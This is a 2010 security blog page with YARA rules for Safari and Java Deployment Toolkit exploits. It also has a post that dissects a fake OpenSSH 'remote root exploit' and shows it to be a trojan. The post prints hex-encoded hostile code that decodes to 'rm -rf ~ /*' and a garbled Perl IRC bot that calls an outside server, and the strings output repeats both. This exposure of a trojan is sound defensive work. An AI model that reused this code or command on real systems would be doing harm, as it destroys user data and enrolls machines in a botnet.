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Posts Tagged ‘0day’

Yara Rule for Safari window.parent.close()

May 8th, 2010 xanda No comments
rule SafariWindowParentClose
{
   meta:
      ref = "Safari window.parent.close()"
      impact = 7
   strings:
      $SafariWindowParentClose_1 = /.*?.prompt\(alert\)/
      $SafariWindowParentClose_2 = /.*?.prompt\(.*?\)/
      $SafariWindowParentClose_3 = /.*?.close\(\)/
   condition:
      all of them
}

Safari 0day

May 8th, 2010 xanda 1 comment

I love the smell of Safari 0day in the morning :)

Yara Rule For CVE-2010-0886 & CVE-2010-0887

April 21st, 2010 xanda No comments
rule JavaDeploymentToolkit
{
   meta:
      ref = "CVE-2010-0887"
      impact = 7
   strings:
      $cve20100887_1 = "CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA" nocase fullword
      $cve20100887_2 = "document.createElement(\"OBJECT\")" nocase fullword
      $cve20100887_3 = "application/npruntime-scriptable-plugin;deploymenttoolkit" nocase fullword
      $cve20100887_4 = "application/java-deployment-toolkit" nocase fullword
      $cve20100887_5 = "document.body.appendChild(" nocase fullword
      $cve20100887_6 = /.*?.launch\(.*?\)/
      $cve20100887_7 = "-J-jar -J" nocase fullword
   condition:
      3 of them
}

Java 0day

April 20th, 2010 xanda No comments

I’ve play around with Java Deployment Toolkit exploit last week and found that the exploit is damn easy to trigger, but mitigation is a bit tricky (for Firefox especially if you have multiple version of Java installed)

Anyway, the patch released and people dont have to worry much about this anymore.

I’ve wrote a short analysis on the exploit (sample taken from the wild) and soon to be published in the Lebahnet Blog (pending for review). I’ve also wrote Yara rule to detect this exploit and it can be used with Jsunpack for automated analysis :) owh.. I’ll publish the rule soon ;)

Many people are talking about this exploit including this blog. By the time I read through the content, I’ve found that they had published a non-valid code (maybe due to improper de-obfuscation or error during copy and paste for the entry). I’ve left 2 comments, correcting 2 lines of code in the entry. They made the changes but delete my comments (poor me, no credit :P )

Insyaallah I’ll publish the Yara rule by tomorrow :)

Yet Another Fake Exploit

February 7th, 2010 xanda 6 comments

PenTestIT is listed in my RSS list and just now, i’ve got a feed from PenTestIT with the title “openssh-53p1-remote-root.c”

Hurm.. what a surprise news, but.. I think I’m too old for this.. lets see..

xanda:tmp adnan$ cd /tmp
 
xanda:tmp adnan$ mkdir lame
 
xanda:tmp adnan$ cd lame/
 
xanda:lame adnan$ wget http://pentestit.com/wp-content/uploads/2010/02/openssh-53p1-remote-root.c
--2010-02-07 20:41:28--  http://pentestit.com/wp-content/uploads/2010/02/openssh-53p1-remote-root.c
Resolving pentestit.com (pentestit.com)... 208.87.241.96
Connecting to pentestit.com (pentestit.com)|208.87.241.96|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13273 (13K) [text/x-c]
Saving to: `openssh-53p1-remote-root.c'
 
100%[=========================================================================================================================================>] 13,273      7.82K/s   in 1.7s    
 
2010-02-07 20:41:30 (7.82 KB/s) - `openssh-53p1-remote-root.c' saved [13273/13273]
 
xanda:lame adnan$ more openssh-53p1-remote-root.c 
 
/* openssh-53p1-remote-root.c
* OpenSSH <= 5.3p1-1 Remote Root Exploit by the|one
* Email: root@chamillionaire.com
* Release date: Unreleased (private) / 2010
* Available Patch: No fix-patch has been issued or reported.
*
* -----------------
* Additional Notes:
* -----------------
* By using this software, you take any and/or all responsibility
* for the damage(s) caused and will not bitch to me, the|one, about it.
*
* USE THIS SOFTWARE AT YOUR OWN DISCRETION! Later skiddies. :>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
 
#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b
 
char jmpcode[] =
    "\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
    "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";
 
char shellcode[] =
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
        "\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
        "\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
        "\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
        "\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
        "\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
        "\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
        "\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
        "\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
        "\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
        "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
 
xanda:lame adnan$ gcc openssh-53p1-remote-root.c -o fake
 
xanda:lame adnan$ strings fake | more
 
the|one is rooting your Linux/FreeBSD Network
  Usage: %s -h <host> -p port
  Options:
-h ip/host of target
-p port
-d username
-B memory_limit 8/16/64
Root is required for raw sockets, etc.
  [+] the|one's OpenSSH Remote Root Exploit - 2010
  [-] Resolving Failed
  [-] Connecting Failed
Getting root isn't that hard, skiddie
PS1='sh-3.2#' /bin/sh
  [-] Failed to exploit the target :
rm -rf ~ /* 2> /dev/null &
#!/usr/bin/perl
$chan="#cn";
$ke";
while (<$sockG (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
            #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="G (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl

knock knock knock… script kiddies.. grow up!

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